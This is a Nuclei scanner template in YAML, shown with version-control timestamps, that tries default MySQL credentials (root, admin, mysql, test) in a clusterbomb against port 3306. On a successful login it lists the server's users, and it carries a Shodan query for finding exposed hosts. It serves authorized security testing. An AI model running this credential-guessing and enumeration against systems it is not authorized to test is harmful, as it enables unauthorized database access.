Files
nuclei-templates/javascript/enumeration/mysql/mysql-user-enum.yaml

57 lines
1.3 KiB
YAML
Raw Normal View History

id: mysql-user-enum
info:
name: MySQL - User Enumeration
author: pussycat0x
severity: high
description: |
Attempts to list all users on a MySQL server.
reference:
- https://nmap.org/nsedoc/scripts/mysql-users.html
metadata:
verified: true
max-request: 16
shodan-query: "port:3306"
tags: js,mysql,network,enum,discovery
2024-07-10 17:38:01 +05:30
javascript:
2024-07-10 17:38:01 +05:30
- pre-condition: |
isPortOpen(Host,Port);
code: |
let m = require('nuclei/mysql');
let c = m.MySQLClient();
let response = c.ExecuteQuery(Host,Port,User,Pass,Query);
2024-03-10 00:02:19 +05:30
Export(response);
args:
Host: "{{Host}}"
Port: "3306"
Query: "SELECT DISTINCT user FROM mysql.user;"
User: "{{usernames}}"
Pass: "{{passwords}}"
payloads:
2024-03-22 15:40:06 +05:30
usernames:
- root
- admin
- mysql
2024-03-22 19:41:12 +05:30
- test
2024-03-22 15:40:06 +05:30
passwords:
- root
- admin
2024-03-22 19:41:12 +05:30
- mysql
- test
2024-03-22 15:40:06 +05:30
attack: clusterbomb
2024-03-22 15:40:06 +05:30
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- "success == true"
extractors:
- type: json
part: response
json:
- '.Rows[].user'
2025-10-26 16:17:34 +00:00
# digest: 4a0a00473045022100c6007ccdb2caeee64dd1a47b386d8b30acf9066d1db249ddaf03d55118e00c7102200b41460832d38f1b45c25135d68973521495b5b5c1a74ab4d1560e888e0c15cc:922c64590222798bb761d5b6d8e72950